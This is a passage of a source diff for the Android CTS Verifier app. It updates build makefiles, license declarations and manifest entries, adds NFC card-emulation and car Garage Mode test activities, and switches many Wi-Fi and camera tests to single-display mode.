 LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_MULTILIB := both
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) $(call all-Iaidl-files-under, src) \
-                    ../ForceStopHelperApp/src/com/android/cts/forcestophelper/Constants.java
-
-LOCAL_AIDL_INCLUDES := \
-    frameworks/native/aidl/gui
-
-LOCAL_USE_AAPT2 := true
-
-LOCAL_STATIC_JAVA_LIBRARIES := android-ex-camera2 \
-                               compatibility-common-util-devicesidelib \
-                               cts-sensors-tests \
-                               cts-camera-performance-tests \
-                               ctstestrunner-axt \
-                               apache-commons-math \
-                               androidplot \
-                               ctsverifier-opencv \
-                               core-tests-support \
-                               androidx.legacy_legacy-support-v4  \
-                               mockito-target-minus-junit4 \
-                               mockwebserver \
-                               compatibility-device-util-axt \
-                               platform-test-annotations \
-                               cts-security-test-support-library \
-                               cts-midi-lib \
-                               cbor-java
-
-LOCAL_STATIC_ANDROID_LIBRARIES := \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_JAVA_LIBRARIES += telephony-common
-LOCAL_JAVA_LIBRARIES += android.test.runner.stubs
-LOCAL_JAVA_LIBRARIES += android.test.base.stubs
-LOCAL_JAVA_LIBRARIES += android.test.mock.stubs
-LOCAL_JAVA_LIBRARIES += android.car
-LOCAL_JAVA_LIBRARIES += voip-common
-LOCAL_JAVA_LIBRARIES += truth-prebuilt
-
-LOCAL_PACKAGE_NAME := CtsVerifier
-LOCAL_PRIVATE_PLATFORM_APIS := true
-
-LOCAL_JNI_SHARED_LIBRARIES := \
-	libctsverifier_jni \
-	libctsnativemidi_jni \
-	libaudioloopback_jni \
-
-LOCAL_PROGUARD_FLAG_FILES := proguard.flags
-
-LOCAL_DEX_PREOPT := false
--include cts/error_prone_rules_tests.mk
-include $(BUILD_PACKAGE)
-
 # Build CTS verifier framework as a libary.
 
 include $(CLEAR_VARS)
@@ -86,6 +27,8 @@
 endef
 
 LOCAL_MODULE := cts-verifier-framework
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0 SPDX-license-identifier-BSD SPDX-license-identifier-CC-BY
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_AAPT_FLAGS := --auto-add-overlay --extra-packages android.support.v4
 LOCAL_SDK_VERSION := current
 LOCAL_MIN_SDK_VERSION := 19
@@ -100,14 +43,6 @@
 
 include $(BUILD_STATIC_JAVA_LIBRARY)
 
-# opencv library
-include $(CLEAR_VARS)
-
-LOCAL_PREBUILT_STATIC_JAVA_LIBRARIES := \
-        ctsverifier-opencv:libs/opencv3-android.jar
-
-include $(BUILD_MULTI_PREBUILT)
-
 pre-installed-apps := \
     CtsEmptyDeviceAdmin \
     CtsEmptyDeviceOwner \
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 9be43eb..47dd4f5 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -1390,7 +1390,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_security" />
             <meta-data android:name="test_required_features" android:value="android.software.secure_lock_screen" />
             <meta-data android:name="test_excluded_features"
-                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+                android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
@@ -1818,11 +1818,11 @@
         </activity>
         -->
 
-        <activity android:name=".location.LocationListenerActivity"
+        <activity android:name=".managedprovisioning.LocationListenerActivity"
                 android:label="@string/location_listener_activity"
                 android:configChanges="keyboardHidden|orientation|screenSize">
             <intent-filter>
-                <action android:name="com.android.cts.verifier.location.SET_LOCATION_AND_CHECK" />
+                <action android:name="com.android.cts.verifier.managedprovisioning.SET_LOCATION_AND_CHECK" />
                 <category android:name="android.intent.category.DEFAULT"></category>
                 </intent-filter>
             <meta-data android:name="display_mode"
@@ -2093,6 +2093,20 @@
                        android:value="multi_display_mode" />
         </activity>
 
+        <activity android:name=".nfc.hce.ScreenOnOnlyOffHostEmulatorActivity"
+                android:label="@string/nfc_screen_on_only_offhost_emulator"
+                android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
+        <activity android:name=".nfc.hce.ScreenOffPaymentEmulatorActivity"
+                android:label="@string/nfc_screen_off_hce_payment_emulator"
+                android:configChanges="keyboardHidden|orientation|screenSize" >
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
         <activity android:name=".nfc.hcef.HceFEmulatorActivity"
                 android:label="@string/nfc_hce_f_emulator"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
@@ -2263,6 +2277,24 @@
             </intent-filter>
             <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/payment_aid_list_1"/>
         </service>
+        <service android:name=".nfc.hce.ScreenOnOnlyOffHostService" android:exported="true"
+                 android:permission="android.permission.BIND_NFC_SERVICE"
+                 android:enabled="false">
+            <intent-filter>
+                <action android:name="android.nfc.cardemulation.action.OFF_HOST_APDU_SERVICE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+            <meta-data android:name="android.nfc.cardemulation.off_host_apdu_service" android:resource="@xml/screen_on_only_offhost_aid_list"/>
+        </service>
+        <service android:name=".nfc.hce.ScreenOffPaymentService" android:exported="true"
+                 android:permission="android.permission.BIND_NFC_SERVICE"
+                 android:enabled="false">
+            <intent-filter>
+                <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+            <meta-data android:name="android.nfc.cardemulation.host_apdu_service" android:resource="@xml/screen_off_payment_aid_list"/>
+        </service>
 
         <service
             android:name=".nfc.hcef.MyHostFelicaService"
@@ -2412,7 +2444,7 @@
                 android:name="test_required_features"
                 android:value="android.hardware.sensor.accelerometer:android.hardware.sensor.gyroscope:android.hardware.sensor.compass:android.hardware.camera" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
         <activity
             android:name=".sensors.RVCVRecordActivity"
@@ -2490,7 +2522,7 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".camera.intents.CameraIntentsActivity"
@@ -2503,9 +2535,9 @@
 
             <meta-data android:name="test_required_features" android:value="android.hardware.camera.any"/>
             <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.automotive"/>
+                       android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback"/>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <service android:name=".camera.intents.CameraContentJobService"
@@ -2524,7 +2556,7 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity
@@ -2541,7 +2573,7 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
         <activity
             android:name=".camera.fov.DetermineFovActivity"
@@ -2576,7 +2608,7 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".camera.its.ItsTestActivity"
@@ -2594,7 +2626,7 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".camera.flashlight.CameraFlashlightActivity"
@@ -2624,7 +2656,7 @@
             <meta-data android:name="test_excluded_features"
                        android:value="android.hardware.type.automotive"/>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".camera.bokeh.CameraBokehActivity"
@@ -2723,7 +2755,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_networking" />
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi.direct" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.RecentsRedactionActivity"
@@ -2751,7 +2783,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_networking" />
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
         <activity android:name=".wifiaware.TestListActivity"
                   android:label="@string/aware_test"
@@ -2763,7 +2795,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_networking" />
             <meta-data android:name="test_required_features" android:value="android.hardware.wifi.aware" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".notifications.NotificationListenerVerifierActivity"
@@ -2854,21 +2886,6 @@
                        android:value="multi_display_mode" />
         </activity>
 
-        <activity android:name=".notifications.MediaPlayerVerifierActivity"
-                  android:label="@string/qs_media_player_title">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category"
-                       android:value="@string/test_category_notifications" />
-            <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.watch:android.software.leanback:android.hardware.type.automotive" />
-            <meta-data android:name="test_required_configs" android:value="config_quick_settings_supported" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
-        </activity>
-
         <service android:name=".notifications.MockListener"
           android:exported="true"
           android:label="@string/nls_service_name"
@@ -3021,8 +3038,9 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_security" />
             <!-- KeyChain is only installed on communication-oriented devices inheriting core.mk -->
+            <!-- KeyChain is disabled for automotive as feature is not fully supported. -->
             <meta-data android:name="test_excluded_features"
-                    android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback" />
+                    android:value="android.hardware.type.watch:android.hardware.type.television:android.software.leanback:android.hardware.type.automotive" />
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
@@ -3045,315 +3063,315 @@
                   android:label="@string/wifi_test_network_request_specific"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestPatternNetworkSpecifierTestActivity"
                   android:label="@string/wifi_test_network_request_pattern"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestUnavailableNetworkSpecifierTestActivity"
                   android:label="@string/wifi_test_network_request_unavailable"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkRequestInvalidCredentialNetworkSpecifierTestActivity"
                   android:label="@string/wifi_test_network_request_invalid_credential"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidTestActivity"
                   android:label="@string/wifi_test_network_suggestion_ssid"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidBssidTestActivity"
                   android:label="@string/wifi_test_network_suggestion_ssid_bssid"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionSsidPostConnectTestActivity"
                   android:label="@string/wifi_test_network_suggestion_ssid_post_connect"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionConnectionFailureTestActivity"
                   android:label="@string/wifi_test_network_suggestion_connection_failure"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifi.NetworkSuggestionModificationInPlaceTestActivity"
                   android:label="@string/wifi_test_network_suggestion_modification_in_place"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoNegRequesterTestListActivity"
                 android:label="@string/p2p_go_neg_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoNegRequesterTestActivity"
                 android:label="@string/p2p_go_neg_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoNegResponderTestActivity"
                 android:label="@string/p2p_go_neg_responder"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientTestListActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientTestActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoTestActivity"
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfigTestListActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfig2gBandTestListActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfigFixedFrequencyTestListActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfigTestActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfig2gBandTestActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.P2pClientWithConfigFixedFrequencyTestActivity"
                 android:label="@string/p2p_join_go"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoWithConfigTestActivity"
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoWithConfig2gBandTestActivity"
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.GoWithConfigFixedFrequencyTestActivity"
                 android:label="@string/p2p_accept_client"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.ServiceRequesterTestListActivity"
                 android:label="@string/p2p_service_discovery_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.ServiceRequesterTestActivity"
                 android:label="@string/p2p_service_discovery_requester"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".p2p.ServiceResponderTestActivity"
                 android:label="@string/p2p_service_discovery_responder"
                 android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenUnsolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_open_unsolicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenPassiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_open_passive_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseUnsolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_passphrase_unsolicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphrasePassiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_passphrase_passive_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkUnsolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_pmk_unsolicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkPassiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_pmk_passive_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_open_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOpenActiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_open_active_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_passphrase_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPassphraseActiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_passphrase_active_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkSolicitedPublishTestActivity"
                   android:label="@string/aware_data_path_pmk_solicited_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathPmkActiveSubscribeTestActivity"
                   android:label="@string/aware_data_path_pmk_active_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobOpenResponderTestActivity"
                   android:label="@string/aware_data_path_oob_open_responder"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobOpenInitiatorTestActivity"
                   android:label="@string/aware_data_path_oob_open_initiator"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobPassphraseResponderTestActivity"
                   android:label="@string/aware_data_path_oob_passphrase_responder"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DataPathOobPassphraseInitiatorTestActivity"
                   android:label="@string/aware_data_path_oob_passphrase_initiator"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DiscoveryRangingPublishTestActivity"
                   android:label="@string/aware_discovery_ranging_publish"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".wifiaware.DiscoveryRangingSubscribeTestActivity"
                   android:label="@string/aware_discovery_ranging_subscribe"
                   android:configChanges="keyboardHidden|orientation|screenSize" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity-alias android:name=".CtsVerifierActivity" android:label="@string/app_name"
@@ -4270,8 +4288,8 @@
             <meta-data android:name="test_category" android:value="@string/test_category_tv" />
             <meta-data android:name="test_required_features"
                        android:value="android.software.leanback" />
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+            <meta-data android:name="test_required_configs"
+                       android:value="config_hdmi_source" />
         </activity>
         <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
                   android:label="@string/tv_hdr_capabilities_test"
@@ -4283,22 +4301,12 @@
             <meta-data android:name="test_category" android:value="@string/test_category_tv" />
             <meta-data android:name="test_required_features"
                        android:value="android.software.leanback" />
+            <meta-data android:name="test_required_configs"
+                       android:value="config_tv_panel"/>
             <meta-data android:name="display_mode"
                        android:value="multi_display_mode" />
         </activity>
-        <activity android:name=".tv.display.DisplayModesTestActivity"
-                  android:label="@string/tv_display_modes_test"
-                  android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.cts.intent.category.MANUAL_TEST" />
-            </intent-filter>
-            <meta-data android:name="test_category" android:value="@string/test_category_tv"/>
-            <meta-data android:name="test_required_features"
-                       android:value="android.software.leanback"/>
-            <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
-        </activity>
+
 
         <activity android:name=".screenpinning.ScreenPinningTestActivity"
             android:label="@string/screen_pinning_test">
@@ -4689,6 +4697,20 @@
             </intent-filter>
         </activity-alias>
 
+        <service android:name=
+            "com.android.cts.verifier.car.GarageModeChecker"
+            android:permission="android.permission.BIND_JOB_SERVICE" />
+        <activity android:name=".car.GarageModeTestActivity"
+                android:label="@string/car_garage_mode_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data android:name="test_required_features"
+                android:value="android.hardware.type.automotive"/>
+        </activity>
+
         <activity-alias android:name=".car.CarDockActivity2"
             android:targetActivity=".car.CarDockActivity"
                 android:exported="true"
diff --git a/apps/CtsVerifier/jni/audio_loopback/Android.bp b/apps/CtsVerifier/jni/audio_loopback/Android.bp
index ad09fb5..97da63f 100644
--- a/apps/CtsVerifier/jni/audio_loopback/Android.bp
+++ b/apps/CtsVerifier/jni/audio_loopback/Android.bp
@@ -1,3 +1,7 @@
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libaudioloopback_jni",
     srcs: [
diff --git a/apps/CtsVerifier/jni/midi/Android.bp b/apps/CtsVerifier/jni/midi/Android.bp
index 0928406..67ba782 100644
--- a/apps/CtsVerifier/jni/midi/Android.bp
+++ b/apps/CtsVerifier/jni/midi/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsnativemidi_jni",
     srcs: [
diff --git a/apps/CtsVerifier/jni/verifier/Android.bp b/apps/CtsVerifier/jni/verifier/Android.bp
index b5665a9..b6d1ed0 100644
--- a/apps/CtsVerifier/jni/verifier/Android.bp
+++ b/apps/CtsVerifier/jni/verifier/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsverifier_jni",
     srcs: [
diff --git a/apps/CtsVerifier/proguard.flags b/apps/CtsVerifier/proguard.flags
index 776ac1b..8fb82ef 100644
--- a/apps/CtsVerifier/proguard.flags
+++ b/apps/CtsVerifier/proguard.flags
@@ -56,3 +56,6 @@
 -dontwarn androidx.test.internal.runner.hidden.ExposedInstrumentationApi
 
 -dontwarn java.lang.management.**
+
+# keep androidplot methods
+-keep class com.androidplot.** { *; }
diff --git a/apps/CtsVerifier/res/layout/garage_test_main.xml b/apps/CtsVerifier/res/layout/garage_test_main.xml
new file mode 100644
index 0000000..5073523
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/garage_test_main.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <LinearLayout app:ctsv_layout_box="all"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent"
+        android:orientation="vertical" >
+        <include layout="@layout/pass_fail_buttons"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:paddingVertical="12dp"
+            android:paddingHorizontal="24dp"
+            android:id="@+id/car_garage_mode_results"/>
+        <Button
+            android:id="@+id/car_wifi_settings"
+            android:layout_height="100dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_wifi_settings"/>
+        <Button
+            android:id="@+id/launch_garage_monitor"
+            android:layout_height="100dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_enable_garage_monitor"/>
+    </LinearLayout>
+</com.android.cts.verifier.BoxInsetLayout>
diff --git a/apps/CtsVerifier/res/layout/nls_item.xml b/apps/CtsVerifier/res/layout/nls_item.xml
index f1a10bf..e80d333 100644
--- a/apps/CtsVerifier/res/layout/nls_item.xml
+++ b/apps/CtsVerifier/res/layout/nls_item.xml
@@ -14,41 +14,51 @@
      See the License for the specific language governing permissions and
      limitations under the License.
 -->
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
+<LinearLayout
